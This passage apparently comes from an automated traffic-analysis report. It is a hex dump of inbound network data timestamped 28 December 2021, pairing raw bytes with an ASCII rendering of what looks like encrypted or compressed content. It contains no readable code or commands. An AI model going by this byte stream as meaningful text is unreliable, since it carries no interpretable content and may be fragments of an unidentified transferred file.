d3 c7 fb 53 7c 8c 3d 12 16 c5 d7 18 66 29 b0 a0 ec 6f 77 7e 5b 86 95 2b 00 7c 68 37 7d 9d 21 dd b5 7a 06 0d 14 2a 41 4e 95 a1 ae 59 ac 01 8b 04 45 ab c3 da 4f 73 a6 8f 47 f5 e1 7f be 76 c4 Data Ascii: c;[)1MX?#Y}&C$1YK;V<~tCWFe5aXK(;).0^1:HAyGz3>O4vtKl:I;d`vLl}JR,QCXWuS\|=f)ow~[+\|h7}!z*ANYEOsGv
2021-12-28 04:19:41 UTC	2476	IN	Data Raw: 83 ff 4f 03 4f c1 35 a8 ef 3c 83 f8 bf 05 31 6e 41 88 04 a5 49 75 a5 0e 4c fa 6a d8 60 61 13 45 a7 8e fd b7 ff 0b 17 d5 b8 ad 65 85 6a 49 69 39 66 ed 80 dd 37 27 42 cf bb 8a b3 46 0a cc 14 31 c0 83 49 30 5d 41 f4 f3 07 11 31 ec d9 9c ef ec d9 eb ff 8b c4 83 cd 6a 71 1d 14 2a 00 1d b5 2a d5 10 8f d7 13 6f 2d f2 be 62 20 a0 0e b1 31 b9 5d ce 8d e6 eb bc ae d3 ef 0e 18 e3 26 d4 5d 34 bc e9 d4 ae 40 1d 6f b1 3b 4d d4 f7 f8 e4 fd 92 39 2b c8 5c 41 ab 94 30 54 21 87 41 c0 28 96 b4 13 48 f1 cc 96 38 35 7e 56 c9 92 b7 28 ac a2 23 1e b2 ef 2b 83 5d 29 18 14 7c 3f 8c 48 42 82 d9 54 18 fb 90 12 f1 da c4 44 41 82 c5 70 fd 09 16 87 2e a2 0b b9 69 48 1e d9 bc e1 81 a4 9f e3 48 6d 6c ee 85 6a 19 62 98 b6 c5 d2 40 81 c2 84 5e 54 d0 98 c3 34 bf 71 8d 12 f3 70 39 8f b1 0f Data Ascii: OO5<1nAIuLj`aEejIi9f7'BF1I0]A1jq**o-b 1]&]4@o;M9+\A0T!A(H85~V(#+])\|?HBTDAp.iHHmljb@^T4qp9
2021-12-28 04:19:41 UTC	2492	IN	Data Raw: 8f 38 e5 6b 6a 38 ce cb 1d f7 a0 37 ca f5 4a d3 dd 32 de 16 4b 14 80 98 a6 16 8a c6 54 71 0e 20 6d 50 ac bb 2a f8 9b 43 45 a7 76 ab 43 2d ae 5e 78 ed 7a 75 d2 9c 42 68 46 f8 89 df 76 ac de 93 e4 a5 c5 d0 cf 31 72 bf 2a 4f d5 0c 62 58 aa 2d 3a 1e 9e 09 6d 97 a7 d4 f0 7f af e8 a4 29 0d 31 37 30 4b 3d 8d 14 4b e2 56 c7 78 dc 49 c1 c0 77 ec 32 04 6c e2 62 2b e4 3d 41 52 8a ac 23 9a 3a 49 01 92 2a 2d 09 00 b2 67 22 34 cf 9f b8 95 45 d9 4e 18 b2 9a ab a2 94 7b 88 75 eb 59 ff c9 f6 e3 fa 4f 45 a2 43 ef 7d ad 74 c9 b4 27 36 f8 7b 79 c3 19 14 d5 aa 4c 60 fd 81 83 b8 d2 a5 c4 67 30 66 34 e3 33 af b9 88 42 2a ec 55 d7 ff 1e 62 0a ae 06 ed 21 58 10 2c 3c dd e0 95 da 7d aa f1 d5 b6 09 a1 ac a0 85 0d b8 c4 75 73 49 f1 c0 f3 ea 19 10 d8 b7 1e 78 64 35 86 58 da 72 6f 4d Data Ascii: 8kj87J2KTq mPCEvC-^xzuBhFv1rObX-:m)170K=KVxIw2lb+=AR#:I-g"4EN{uYOEC}t'6{yL`g0f43BUb!X,<}usIxd5XroM
2021-12-28 04:19:41 UTC	2508	IN	Data Raw: 7b 96 2b ba 55 27 54 28 b3 7b 64 14 37 c4 8b 62 19 a2 59 e5 83 bc 51 3d a5 86 69 d6 ac 8c 59 bb cd 01 e9 be bf 8a 8f 61 1a d5 24 cd b5 6c 97 47 3c 53 4b 1c 35 25 44 a6 80 39 0d dd 7b 11 76 b6 a8 1b 52 c6 ea 29 62 9a 2f f9 a0 8a c4 75 e6 6d 83 2c a9 82 16 99 be ce b6 6a 5b bc fb b2 5a 06 bd d9 89 77 0a 05 90 20 f9 b2 18 4f c6 14 dc 64 9e 08 d1 cb 73 88 66 75 10 29 e8 94 59 27 fa 1a 2a f5 fa 8d 94 89 72 53 97 b9 07 69 5c be 7c 73 08 05 a5 55 2a c5 c4 d5 bb e2 a0 68 6e 03 40 fd 69 7d 7d 94 eb 47 a4 11 67 71 0a d2 bf 8d 7b 87 bc 06 e0 68 fd 56 43 84 f8 e5 bd 11 5b 9b 42 95 f6 4e f0 6b 40 c1 5e 4f 6c a3 dd e2 a5 ea 1d e5 e2 db aa 0f 3c 7a 6a ce 49 61 a0 4d e5 dd 88 7f e7 08 f5 f0 25 d4 b3 87 c7 56 1e 45 1c 8b a6 f2 fa 8d 79 c0 47 18 83 a7 9e 39 10 81 1e f6 8c Data Ascii: {+U'T({d7bYQ=iYa$lG<SK5%D9{vR)b/um,j[Zw Odsfu)Y'rSi\\|sUhn@i}}Ggq{hVC[BNk@^Ol<zjIaM%VEyG9
2021-12-28 04:19:41 UTC	2524	IN	Data Raw: 0c b7 57 2d b6 f8 4b 0f 8c 2b 69 77 e4 f2 6f d1 71 ea 3c 32 c3 4d 3e aa 59 44 cf 33 8b 4c 7d f1 9e db 5c f5 77 89 d2 f0 ed 93 44 29 55 2a ff 20 95 8f 96 2c f4 58 7c 70 4b f1 83 ee 60 f0 87 12 d7 21 71 6c de c7 c8 f4 ee 3b 4b 4e 06 a1 90 4a 8b 6e 01 50 fa 9d ec 27 d3 70 13 e6 c0 7a e4 21 3d bd a0 19 9b 1b 3d 7f 58 57 e0 b8 74 9d a4 81 99 71 b4 11 cf 08 7a f3 27 27 bf fd a3 49 2c ac 72 bd 7f a3 3a 48 60 c4 13 4e 69 b7 3b 19 e6 a8 a9 5f 20 3a 5e 07 19 6c fb fd 6e a9 62 d6 e9 d0 68 e4 57 0b e0 02 9f 1a b6 fa 96 8a 52 28 41 87 13 38 83 65 44 1d 3a e6 b5 7e 7e 41 9a bd e2 f3 b1 30 a7 6f 0a bb 96 73 b9 eb 86 7e 07 55 25 e8 a6 e1 84 0f 5c 8b d2 2c be d4 5d 86 67 10 39 ab 69 ec d0 18 b7 8f 7c c1 3a 93 8c 75 e7 16 cb 6a d9 ed 1c e2 25 01 e1 62 3b 61 cd 3c 0b bc 11 Data Ascii: W-K+iwoq<2M>YD3L}\wD)U* ,X\|pK`!ql;KNJnP'pz!==XWtqz''I,r:H`Ni;_ :^lnbhWR(A8eD:~~A0os~U%\,]g9i\|:uj%b;a<
2021-12-28 04:19:41 UTC	2540	IN	Data Raw: d5 31 06 71 be bd c4 1b 2c 2e a8 7a 7e 71 05 ef 6b 20 83 91 c6 9e c6 eb a4 9e 9a 1e b3 b0 ff e2 3f 90 84 66 a2 76 db 6a a6 84 3c 3c cf 82 30 18 a2 34 b6 ba f7 e7 79 68 8c d2 f3 8f 7f 1a 05 24 5b 75 55 f1 c5 6e 8c 5b c3 f4 c2 8a 61 93 05 01 8f d3 d6 04 1c 8c 73 c7 0b 35 c8 3d 49 4d 3b dc 69 60 3c 59 b2 45 b3 53 df 49 23 8e ad 76 81 6e 01 58 2d 18 45 a2 55 a8 bd d7 3c 5c 3c 4a 6d 2d dc 35 4e d8 b5 5a d3 f8 00 d9 8b f7 9a cd 55 da bf 2b 6a 30 09 92 7c 76 f3 8e e6 a6 df bb df 4e 47 78 bd 46 c9 91 e4 bf 90 ab ed 7c 44 a9 4b bf 7c c6 b0 aa 9c ac 68 58 67 84 17 c7 46 71 6a df 95 8b 1b 7b fc 70 5f f8 bd 5a e5 d1 28 c3 ac 80 00 cf 00 e0 c2 66 80 ba d4 f4 d4 16 77 66 52 b3 d9 5d 74 7f 81 7f ad 21 4d 7c eb b5 59 6a 7d 78 f9 37 6c cc 6c 4d 91 3e 29 51 61 70 c7 95 f3 Data Ascii: 1q,.z~qk ?fvj<<04yh$[uUn[as5=IM;i`<YESI#vnX-EU<\<Jm-5NZU+j0\|vNGxF\|DK\|hXgFqj{p_Z(fwfR]t!M\|Yj}x7llM>)Qap
2021-12-28 04:19:41 UTC	2556	IN	Data Raw: 47 9f 5d 52 32 af 16 e8 f4 7c 6b da 56 89 67 91 99 39 96 97 cb 2e 3b 85 5e fa 41 16 4f 84 e1 c9 7f 84 39 64 5e 36 35 21 6b 7b 00 7e 73 94 54 c7 b5 2d 30 59 86 b9 1e 57 96 e8 da 3c 14 b5 ac c2 e7 77 f8 57 59 d3 57 d0 5a 76 0f d4 ba f8 5f af f4 d9 c1 c7 76 f3 a9 3a d0 c8 21 bf c1 fc 5d dc 10 9c 9b 57 3c 2d f3 98 84 38 b0 ed f5 12 86 dc d9 73 12 66 bb fb 01 be 61 a7 73 f0 02 de db 08 23 7d 3d 09 ae 73 dd 64 a0 fe db c2 ed 02 5d 17 04 4e 7b 39 1b f0 11 43 98 e6 a4 a3 62 cf 96 80 58 a6 06 80 7e 54 73 96 7c 4a 00 f3 fb ed 15 52 ea f7 95 1e 6a 88 64 9e eb ff 7a d2 c2 49 aa 6b 5b c1 9d 22 8a dd 0c e0 eb d1 e1 62 0a 79 43 86 4a 90 52 09 4e d6 f5 7e 1a ce 59 bc b7 48 9a 7e c9 8c 44 cc b3 0a 0d 10 86 12 23 2b c1 38 1f cc 04 9f 11 04 5a 24 a3 ae bb 7c 5d 12 5b 6f 31 Data Ascii: G]R2\|kVg9.;^AO9d^65!k{~sT-0YW<wWYWZv_v:!]W<-8sfas#}=sd]N{9CbX~Ts\|JRjdzIk["byCJRN~YH~D#+8Z$\|][o1
2021-12-28 04:19:41 UTC	2572	IN	Data Raw: 5f 4b fc a5 be 84 39 e8 03 03 49 c9 89 b6 de 1e 1f 84 59 cd ce 9f 96 b7 98 71 0b fd 5c f1 ac 38 1e 64 64 4e 6b 83 41 4a 76 d2 db 7d 8d a1 1b 99 51 be 84 26 1f 96 1c 7b 19 67 12 5e ff 39 5f 2d b6 9f 6e b1 67 b7 07 21 c2 21 8c e2 66 cd 1c c3 28 12 8a a0 9e 48 07 e6 a8 49 dc 4b 27 7e c7 8a 9f 6c 32 0c ee bb 89 ec d3 48 44 7a 7a e0 0e 56 05 b2 41 ad 3c 73 6a 1a bb f4 0a b7 96 32 51 d5 55 88 2b 50 d6 46 0c fb 30 f3 7d 69 1e 4e bf 78 2e 6f 5a 0c 98 34 d3 99 4b 62 e6 2b 42 2d cb 3c ac 59 3a 09 4c d7 88 2b 67 e9 59 fe 4c fb 86 97 91 f1 4b 49 06 af 56 21 ae 50 24 92 6a 27 ba 8e d0 81 13 c8 38 d0 a8 28 f8 83 d6 b2 a2 d6 f8 ca 67 fe f0 9d 05 f4 44 53 ad 31 60 c9 46 45 ea 79 8b c5 aa 3a ef fb 00 8a 00 c2 d3 60 98 de 07 b6 43 d4 e9 41 a8 3e ba f0 a5 53 d1 38 2b 09 c2 Data Ascii: _K9IYq\8ddNkAJv}Q&{g^9_-ng!!f(HIK'~l2HDzzVA<sj2QU+PF0}iNx.oZ4Kb+B-<Y:L+gYLKIV!P$j'8(gDS1`FEy:`CA>S8+
2021-12-28 04:19:41 UTC	2588	IN	Data Raw: 8a 54 1b 31 fa 0b 23 12 3c 7d 6e 2a d5 c4 ed 24 ab 4c e2 51 53 93 7b 84 dd 89 3b 49 9c 45 28 49 e7 9f 95 59 f1 a0 e8 e0 d8 cc 1e 1e 29 8f 74 c7 21 b6 d7 89 a3 b2 c1 f2 99 2d 69 f5 9e 73 c1 d1 cf dd 3b fc db 62 47 06 80 05 da 5a 12 0c fb 38 4b 2a 68 8f b2 c7 d7 dd 58 8f 0b ed 6f 12 be 20 e9 9f 1e 13 c6 08 de 13 db 26 3a 6e 00 e4 6e 48 41 fd ab a7 89 45 51 19 cd 7e 1e eb c1 64 ae 10 ff 3d 02 6a 65 a3 27 af 58 9c c2 ae 29 14 a7 93 4c 28 37 f2 06 b0 43 cb fc 36 98 e6 f8 f4 e6 66 22 03 86 1f 80 0a ca 79 df 08 e4 f2 b1 0e 40 05 cf 44 d5 38 25 9d 9d d5 ec 1e fe 68 ec 2a 98 53 37 9d 55 99 9e e2 d1 d7 21 a3 5a 0a 7d ff ab b2 18 74 a4 98 5d 5e bc c4 fa 0e 1a 6e 36 c2 65 24 25 8f e1 7f 60 1f bd 7a 32 ab 8f a7 19 37 69 8e cf 6c f8 f1 e0 30 6e 4e 89 9b 51 e2 05 cd dc Data Ascii: T1#<}n$LQS{;IE(IY)t!-is;bGZ8KhXo &:nnHAEQ~d=je'X)L(7C6f"y@D8%h*S7U!Z}t]^n6e$%`z27il0nNQ
2021-12-28 04:19:41 UTC	2604	IN	Data Raw: aa a9 aa 83 ad c1 eb 8a 14 59 a1 c3 fa 14 c2 46 a8 9d 29 8f 35 5a 4e 35 9c ca d9 0f 76 91 e1 48 3a 5c c3 e7 90 19 2c 17 79 ae 81 1d 2f ac f4 1c de d3 97 2a 3f 94 61 1b 3a c3 bc 0a df 52 55 08 b3 7f 40 8a a3 d1 e1 0e 36 67 43 89 b3 80 3d 61 0b 97 6c af d7 03 ba a9 3d af 08 a4 3d d9 a6 eb e9 de a1 6e c5 2b 6e 57 8c 36 30 8b af e3 49 e4 7c 9d d7 e4 75 a3 77 80 1b ac 82 60 f3 a7 76 1f 81 b2 18 52 12 aa c2 24 c5 77 b1 1e f1 fc ec 3e 91 f2 fe 19 db cd ac 4c 68 28 13 0c fd b7 cd 57 72 78 41 fc 5b 89 2d 3b 7d 40 69 ab f7 a3 83 40 b5 29 d9 5c c1 bb 4d c8 10 50 51 f5 f2 cd 82 55 67 bc b2 0a 04 95 3c fb 72 ca 91 32 26 89 be 9f b1 59 d8 39 89 c5 65 42 2a 09 2f c8 91 c7 f6 53 fb d0 0f 9f 30 cf f0 c9 68 07 ce 02 e4 03 7b 9f b2 f5 65 c8 ca 5e 7b 78 96 27 8b 1e 9a 4b d8 Data Ascii: YF)5ZN5vH:\,y/?a:RU@6gC=al==n+nW60I\|uw`vR$w>Lh(WrxA[-;}@i@)\MPQUg<r2&Y9eB/S0h{e^{x'K
2021-12-28 04:19:41 UTC	2620	IN	Data Raw: c0 42 21 4d 3c c0 63 8b be 89 ac aa 8f 8b fc 7f 68 cf 49 40 a1 d2 30 54 1e 6a af fb 1b 8a b3 d4 89 12 38 6c 85 bb 64 7d e0 7b 1d 6d eb 27 da 86 28 0e 1a 7d d6 f8 f3 a2 e5 45 af 28 61 1c 22 b6 69 ed 55 2e 3d 0b 93 91 b2 97 c8 82 b4 ca 1d 96 0c 87 49 6b fa 7a c0 cb 16 16 c4 f8 9b 7e 47 6f 8f e8 99 7f ea ee 83 7c 41 a5 3a 5c e3 41 48 bb 35 90 b3 af 5e 85 75 6f ca ed 89 af f0 79 1b 10 7b 3f e7 19 d6 9d 2c 34 be 52 b7 65 4a 09 31 8b d3 10 63 a9 88 c1 46 1f d1 16 7d c0 95 7b 18 ff 55 98 f7 b9 99 7b b3 40 c8 55 d6 f8 d2 68 fc fb a4 45 5b c5 02 56 57 ad 93 6e 9e 41 7c 08 a1 91 45 d1 0c f6 30 92 49 c3 2e 2a c0 c9 e1 a4 07 49 ff 9f 48 fd 6e 9d 59 40 81 09 f8 52 65 75 87 43 55 03 6d 3d a8 33 2a db 3f 2d d3 51 dd 08 45 dd bb c5 33 6a e4 77 5a 85 2e 3e 98 21 c0 21 b3 Data Ascii: B!M<chI@0Tj8ld}{m'(}E(a"iU.=Ikz~Go\|A:\AH5^uoy{?,4ReJ1cF}{U{@UhE[VWnA\|E0I.IHnY@ReuCUm=3?-QE3jwZ.>!!
2021-12-28 04:19:41 UTC	2636	IN	Data Raw: 5f 07 06 31 44 e3 38 90 5b 62 c8 ba eb b4 fc 64 71 96 a0 96 5e db 00 dc a1 e8 f8 cd 67 d5 49 71 65 9b 4c d3 d4 e4 25 b9 54 09 81 1d 77 24 59 09 95 81 e7 2e 80 33 d0 3a 69 33 09 86 28 8c 1e 97 b3 0f db 83 3d 1c c4 5f 55 3d 04 fe 58 6a 26 59 b3 3e ab 8c 50 f2 34 e7 9c 22 59 08 77 ca d2 fc 02 ed 18 b2 01 be af b5 e7 de 9f 0d d4 d4 28 a8 eb e1 e6 17 44 c7 7a 43 31 cb ef a1 c9 d9 26 af 68 92 8b 73 cd 69 61 5a 7f 7c e6 55 a1 d3 6f 08 26 48 8f 2f 16 9b 84 c1 16 92 3f 23 20 fb f9 70 19 13 19 c3 6f 24 80 ac 98 16 4a f9 14 2f a5 a9 42 cd c1 14 db fe dc 98 b5 3e 83 b2 2d 0a cf 20 f8 3e 56 04 61 ed 51 3f c4 26 30 4f 0f 93 8d 20 24 0a 7d 9e b9 ad ba c7 1f 7e 68 0e 0b ef 82 4a 73 bd 09 16 9b ed 2c ba 31 00 42 d4 e3 f5 0d 75 3b 06 22 25 d2 a7 f3 98 33 e3 77 fd db 8e 58 Data Ascii: _1D8[bdq^gIqeL%Tw$Y.3:i3(=_U=Xj&Y>P4"Yw(DzC1&hsiaZ\|Uo&H/?# po$J/B>- >VaQ?&0O $}~hJs,1Bu;"%3wX
2021-12-28 04:19:41 UTC	2652	IN	Data Raw: 45 6f c0 bc 11 63 4f a1 9e aa 83 8d f5 ad a3 25 ca 76 66 7d 98 33 78 88 78 d8 43 17 5f 37 2e 2c 59 cc 41 52 22 ec a4 ec 24 12 7c 53 1a 7d 62 46 fd d7 69 50 a2 50 71 e3 52 b9 ca c6 eb 61 5f 6b 1c 95 7d 16 72 f4 8f 5a 77 71 cc e1 24 da a4 a7 de 6b 08 ce ec 50 0b 4f 8e d2 11 6d d8 bf eb 40 26 2c b1 45 e6 ea 64 e7 63 c4 18 f6 54 72 16 c7 6c 4f 8b 73 f1 6e a4 a2 75 4b 8c a9 ef 72 86 58 03 5f 9b 83 36 70 98 b5 8f 1d f5 9b c2 20 dc 44 9c 7b 8e 3d d6 ce 3f ab eb 30 54 fd ab 75 ee 18 d4 d5 7a bb 6c e2 04 e1 c5 5f 7d c1 b3 ed 2a fb 62 72 fa ae a8 ca e8 b3 32 87 45 80 ef 23 0e 0e bb 97 59 e3 9c 53 cd 3d 2c c7 30 f6 ae 48 8b 9e e7 38 29 6d 7f a1 ce cc 11 92 58 15 c1 d4 62 ed 0c a0 e6 04 b0 a2 02 9f 9e 99 67 d0 5b 7e 44 e9 d1 73 a7 31 3a e6 eb 0a 3e 65 3b 8d 45 05 da Data Ascii: EocO%vf}3xxC_7.,YAR"$\|S}bFiPPqRa_k}rZwq$kPOm@&,EdcTrlOsnuKrX_6p D{=?0Tuzl_}*br2E#YS=,0H8)mXbg[~Ds1:>e;E
2021-12-28 04:19:41 UTC	2668	IN	Data Raw: 8b ab 19 53 01 13 c9 63 b7 96 72 ca 00 c6 29 25 64 b2 1b 33 fd 6a 94 cc 7b a8 0d 83 94 76 7d 08 c6 50 9b 44 68 f9 7c 11 bb 1e 9b 27 47 ca 23 2e 79 32 e5 eb 5b e2 fa d5 5d d7 fb c9 f8 7e 24 00 bb 0a db 30 8d a6 0d 2a 14 17 28 17 25 b4 69 bc 90 d2 eb 2d e9 92 76 97 42 5e 6a f8 40 4a 31 1a 5d 7a 70 1c 8b fa a1 5d 44 57 4b 3f 54 ab 8b 3b 34 3c 7f 1d 48 36 7e 4f 91 c0 cb d8 d9 c0 49 53 d9 7e 14 6f ae bf fd 7c 0b fb 8d 53 0f 99 bc f6 2b 03 2c 5c 48 78 eb b8 37 8c a6 77 f1 72 49 8a 13 8b 82 62 7d 57 4a eb 07 9c 0f de f4 72 21 cd 15 e4 1c 32 2e 9c 15 41 df 9e e5 d1 9b d7 d0 b4 6c b7 fa 03 38 8c 23 fc 21 75 0f 2e df 02 a5 64 dd 23 41 1c 20 36 ab 0c 12 cb 0c 6c 0d 4c c9 bb 6e 96 4a 4b 64 21 1c c2 6d d2 62 7f a3 93 da 4d 49 7b f2 81 1c a6 fe 80 5c 7d 1c 66 54 dc 64 Data Ascii: Scr)%d3j{v}PDh\|'G#.y2[]~$0*(%i-vB^j@J1]zp]DWK?T;4<H6~OIS~o\|S+,\Hx7wrIb}WJr!2.Al8#!u.d#A 6lLnJKd!mbMI{\}fTd
2021-12-28 04:19:41 UTC	2684	IN	Data Raw: 5a 3c bf 12 1d a8 9a c7 33 be 9b 60 b8 2c 6f 54 96 65 b5 e9 ed ca 5a 5f f6 5b 82 64 08 c4 17 c8 73 80 8e f8 4d 8f 3e 43 1b c6 11 51 ac 88 84 0c 94 49 df 2c 38 59 c8 c7 62 4c 73 2d 13 d3 7b 61 c2 5b c6 8b 2a f6 70 ff 3c 47 73 7d 3c 12 ad d7 db 0f 9e c1 4f 04 6c de 7e b9 41 98 77 3c 2f 1d e4 fd 91 74 2e 02 7b 17 0d 1b 64 ac 16 89 59 bf 4d 72 1c 54 2d 49 c8 fb e6 c3 34 89 8f af dd 0a e9 44 7b 02 e6 a5 c0 b1 f3 44 57 12 de 6b 00 a6 fd 62 6b ff 7e f4 f3 25 5a c8 8b da d7 e7 fa 78 0c e4 21 34 ca f9 08 1b 6e 94 a6 8e 38 3a 13 42 96 6e 5f e1 0f 0f b1 65 1e 39 16 c3 ab bc 88 e9 39 ec a6 43 98 33 71 d8 d7 e8 66 a6 c5 60 d9 53 06 b4 50 8e 1a 25 09 7e a9 64 53 b1 fc 94 44 d5 ae ee 75 80 20 c6 32 3d 58 bf 88 17 17 07 37 62 1c d9 46 a4 25 9a ba b6 8c 0a 92 4b cd 0e 5c Data Ascii: Z<3`,oTeZ_[dsM>CQI,8YbLs-{a[*p<Gs}<Ol~Aw</t.{dYMrT-I4D{DWkbk~%Zx!4n8:Bn_e99C3qf`SP%~dSDu 2=X7bF%K\
2021-12-28 04:19:41 UTC	2700	IN	Data Raw: 70 bd 0d c3 63 e5 ff 61 5a c8 d5 9a fc 4d c8 ed 38 16 60 3c be f8 0d ce 15 58 2f bb d1 4e 87 c1 a2 d2 7d c6 c3 de d7 58 60 7c a0 5a d0 62 d5 fe 63 8e 85 c9 3d c3 e8 76 ad 5b 3f 41 19 92 99 b2 f4 84 cb af e1 c0 da 3b 07 64 f3 3d 58 5f 52 29 d7 75 09 0f a7 8d ab 65 00 1e 29 6e 65 41 e2 a3 f1 75 f5 df 73 c4 39 9c c0 ed 8c 2f 65 56 00 47 e9 17 3d 3a a4 dd 8a 10 8b e3 e8 2e bb 35 37 bd ac 41 f8 4f 1c df c2 8b 4e 98 ab 5b d2 20 cd d2 a4 6f e6 01 63 80 c0 79 ad 67 7c 96 22 86 28 a3 aa 4f 1a 6e 30 2a 02 1e e9 03 0c bb 18 fa 50 aa 12 ed ac 62 45 16 7d ca b8 d3 64 3b 3c 34 f8 f5 50 a8 ab 10 fa 9a 20 93 c3 55 e0 71 2e db f0 95 1b 85 3d 92 e6 2f ae 79 dd 44 b0 5e 64 20 e9 df 4a de 3f 74 e7 83 6f 87 bd 2e dc d8 62 b2 82 31 34 92 38 6f 05 8a 73 be 5d 67 97 52 82 20 62 Data Ascii: pcaZM8`<X/N}X`\|Zbc=v[?A;d=X_R)ue)neAus9/eVG=:.57AON[ ocyg\|"(On0*PbE}d;<4P Uq.=/yD^d J?to.b148os]gR b
2021-12-28 04:19:41 UTC	2716	IN	Data Raw: 0e f5 23 d8 fa b2 90 a3 09 e0 0c 87 c8 f4 31 fa 2e 7f f8 1a e5 36 0a 68 77 83 c9 11 85 c0 06 85 6a aa ee fc 59 de fc 80 dc c8 4d 98 bc 05 9b 44 72 48 27 80 cb 6f af 80 db e2 c8 17 aa be 03 47 ec 98 7a 55 04 52 f6 3e 8f ac 9c a3 02 0b c6 b6 68 19 05 21 39 fa 62 62 b6 f7 1e 3f 32 e3 63 6c 57 b9 7d 7c 2b 39 af 74 d5 27 9c b8 27 4f 52 ee d4 a4 53 19 85 3c 96 d9 d4 0d ff 2b f0 af d6 cb 24 47 b2 0d 68 36 d4 b3 49 13 dc 14 2d 21 cb f8 19 86 ac 1b 1f b0 75 ca 99 03 f7 c8 c8 2c 4b 19 ba 8b b9 e2 38 e3 18 a7 85 81 4d d0 9f 76 d7 6b 01 05 b8 5a 63 6d 4c 77 ca d6 af 55 d3 2b 00 cb b3 ae 96 80 7c 58 96 ec 14 91 fa c1 69 9c 3f af 22 bd 08 7b d4 43 31 46 73 87 0e 12 7e dd b6 b2 45 d3 8d d2 3b f5 de 89 4b ca a1 12 50 4d 1f f1 55 5e c5 9c 5e 8e b1 ae 4e 22 8e d1 c7 2c 47 Data Ascii: #1.6hwjYMDrH'oGzUR>h!9bb?2clW}\|+9t''ORS<+$Gh6I-!u,K8MvkZcmLwU+\|Xi?"{C1Fs~E;KPMU^^N",G
2021-12-28 04:19:41 UTC	2732	IN	Data Raw: 89 61 1d a8 3f 2a 4e 00 b1 66 34 bc b3 cc 40 2f 27 c1 e3 bc 2b 3c e8 c6 d5 b6 fd ec b0 5a 92 bf d2 30 c3 eb a8 31 3a cd 5e 93 9f 5f b3 b4 c8 2d a6 c1 a1 43 49 44 4c 5f 97 78 62 55 27 1d 3b 8e b2 29 77 49 ad 22 00 11 04 6f 71 d7 a4 7b 4f b9 d7 b5 27 f5 ec 8e d1 1e fe 63 d6 17 52 0d 05 4f 18 65 a8 71 1e d8 a6 66 46 5f 1b 98 ae f0 d1 7c 09 11 c8 f5 81 ad 6e 60 1f 49 11 4c 65 8f b7 78 d7 81 81 de 25 e7 dd c0 0e dd ab 1f 3e 94 e8 a0 f0 bc 45 c8 48 b9 72 cc e3 67 b7 a5 12 8e ca 5c 88 d2 28 2e 65 65 60 15 31 a8 6c 97 ac 2e 20 62 a0 e9 78 37 72 7c 01 4c 72 b4 5c 21 85 ac 9d 47 02 08 89 f8 7f 9c f6 b7 2f 87 85 74 b8 0b 14 41 23 87 56 0d 8c b5 59 b0 1f 37 b9 c4 d2 5b 49 d0 1b 46 92 db 2b 2d 28 da d3 b4 e0 0e 4a fb 48 3f 4e f8 26 49 83 d2 ee 9a 3f bc 1c 10 30 7f 11 Data Ascii: a?*Nf4@/'+<Z01:^_-CIDL_xbU';)wI"oq{O'cROeqfF_\|n`ILex%>EHrg\(.ee`1l. bx7r\|Lr\!G/tA#VY7[IF+-(JH?N&I?0
2021-12-28 04:19:41 UTC	2748	IN	Data Raw: e8 ca 53 ee 93 6d e9 79 2d 63 b7 2c d7 77 e5 cc b8 67 16 6d dc 54 57 10 a5 e1 11 cb 48 bf e2 9f a4 f4 6e 42 c2 bf f5 17 ce 6b 09 0a a7 69 e5 ac 3a c6 d8 b7 32 f4 0a 16 15 62 f5 23 b7 86 69 86 13 cb 38 d9 35 5a 4b d0 2b 1a c6 9a 5d 4a d0 d9 bd a8 2c ba 1a 81 6c 4f 79 e5 37 00 b5 b8 0a 26 31 eb 63 e6 92 d6 3e c8 8e 36 47 82 81 41 a8 fd a6 fd 7f c6 7f 1b 44 b0 ee c3 2b 01 e3 70 51 b6 6f 32 3c 2e 9f 96 9c 8f bc 12 d3 3a a0 5f 1f 75 1b 33 11 04 32 8e 1b 80 f3 d2 75 42 f3 2d a3 d4 f7 7a 08 1e 0d 38 d2 03 8b 39 d9 73 13 1f c1 25 d9 ae 06 5b 75 b4 02 b9 d3 d6 85 63 19 6d 32 99 54 95 13 98 dd ee e7 3e b5 d3 72 3b 94 b1 32 00 1e 6a 4c a0 3e cf 50 dc 74 df a9 65 8d 59 8a 08 0c 76 71 4e 74 01 8b 05 b2 9f 9c e7 bc 40 09 ad d2 66 82 05 d4 5f 49 0a cf 43 9b 3e f1 38 93 Data Ascii: Smy-c,wgmTWHnBki:2b#i85ZK+]J,lOy7&1c>6GAD+pQo2<.:_u32uB-z89s%[ucm2T>r;2jL>PteYvqNt@f_IC>8
2021-12-28 04:19:41 UTC	2764	IN	Data Raw: a3 42 78 12 26 a5 5c f4 a5 8a 0a 2c 20 b8 c9 1b 8d 4b 1d 44 f4 c8 9c 70 6e 2c 07 d3 c4 5a bd 40 d7 05 8e 2e 3c af 2e 58 0d 57 d5 2c 37 6c 30 42 76 7f b3 8d 96 af f9 0e 3f f9 24 ac 05 fb a5 46 4a ef 85 a8 16 89 c1 9f 4a dc fb ec 17 6b 2e 4c d8 64 ec 0d 39 bc 06 a5 19 16 27 cf 35 61 a5 48 02 b9 37 e5 76 f3 9c bf 00 cd 79 b6 50 b1 c8 ce b3 99 a3 72 5d d0 36 95 b6 69 37 44 42 53 1c ff 4d 87 41 c2 4c 58 ab 42 75 70 51 d7 78 95 7c b9 4a 68 58 e4 38 6b 11 aa 8f c3 f3 1d a0 2c 36 38 d8 cc c0 13 7a 5b f8 8f 90 43 8c 58 de 8e 73 fd 14 ab d9 31 79 f7 e4 bf b7 f9 a4 07 c7 8d e9 f9 f3 6b fd bd f3 2a 7c c8 70 37 5d 01 ef 88 52 db c2 b7 29 22 2c 00 21 72 ea 3e 48 81 be d7 2e b4 3f ee 6b b5 ae 3d a7 64 a9 81 ec a0 25 5d 54 43 eb 29 37 d6 2a 21 e0 08 18 50 6e b3 e9 d5 7a Data Ascii: Bx&\, KDpn,Z@.<.XW,7l0Bv?$FJJk.Ld9'5aH7vyPr]6i7DBSMALXBupQx\|JhX8k,68z[CXs1yk\|p7]R)",!r>H.?k=d%]TC)7!Pnz
